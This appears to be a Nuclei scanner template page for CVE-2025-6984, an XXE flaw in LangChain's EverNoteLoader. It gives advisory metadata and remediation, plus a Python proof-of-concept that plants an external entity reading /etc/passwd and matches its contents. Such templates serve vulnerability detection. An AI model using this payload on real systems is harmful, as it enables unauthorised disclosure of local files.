CVE-2025-6984: langchain-ai langchain - XML External Entity Injection
- Template: CVE-2025-6984
- Name: langchain-ai langchain - XML External Entity Injection
- Description: langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
- Impact: Attackers can disclose sensitive local files, potentially exposing critical system information.
- Remediation: Update to the latest version that disables external entity references in XML parsing.
- Severity: high
- Authors: nukunga
- Tags: cve, cve2025, langchain, xxe, intrusive, file-write
- References: https://nvd.nist.gov/vuln/detail/CVE-2025-6984, https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a, https://github.com/langchain-ai/langchain-community/commit/e842452
- Cves: CVE-2025-6984
- Verified: yes
- Directory: code/cves
- Path: code/cves/2025/CVE-2025-6984.yaml
- Digest: 490a00463044022061c8e811a6d2f0205516b7136f5507c2d567b6552f3b8d33b31a5cc8e884e85f022003314898035431f2d2d942440451960b9d3ea9b8bdc1fe35d55264284789023e
- Created at: 2026-03-16T12:22:36Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 253
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/code/cves/2025/CVE-2025-6984.yaml
- Checked, none or zero: products
- Not known: max requests
Classification
- Cwe: CWE-200
- Cvss score: 7.5
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.01647
- Epss percentile: 0.77106
- Not known: cpe
Metadata
- Verified: yes
Labels
- Name: langchain-ai langchain - XML External Entity Injection
- Impact: Attackers can disclose sensitive local files, potentially exposing critical system information.
- Remediation: Update to the latest version that disables external entity references in XML parsing.
- Vulnerability type: xml_external_entity_injection
- Vulnerability impact: information_disclosure, file_system_read
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-6984
- Not known: requirements
```yaml
id: CVE-2025-6984
info:
name: langchain-ai langchain - XML External Entity Injection
author: nukunga
severity: high
description: |
langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
impact: |
Attackers can disclose sensitive local files, potentially exposing critical system information.
remediation: |
Update to the latest version that disables external entity references in XML parsing.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-6984
- https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
- https://github.com/langchain-ai/langchain-community/commit/e842452
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-6984
epss-score: 0.01647
epss-percentile: 0.77106
cwe-id: CWE-200
metadata:
verified: true
tags: cve,cve2025,langchain,xxe,intrusive,file-write
self-contained: true
code:
- engine:
- py
- python3
source: |
import tempfile
import os
from langchain_community.document_loaders import EverNoteLoader
if __name__ == "__main__":
xxe_payload = '''<?xml version="1.0" ?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<note>
<content>&example;</content>
</note>'''
# Write payload to temporary file
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(xxe_payload)
temp_file = f.name
try:
loader = EverNoteLoader(temp_file)
print(loader.load())
finally:
os.unlink(temp_file)
matchers:
- type: word
part: response
words:
- "root:"
- "bin:"
- "daemon:"
condition: or
digest: 490a00463044022061c8e811a6d2f0205516b7136f5507c2d567b6552f3b8d33b31a5cc8e884e85f022003314898035431f2d2d942440451960b9d3ea9b8bdc1fe35d55264284789023e:922c64590222798bb761d5b6d8e72950
```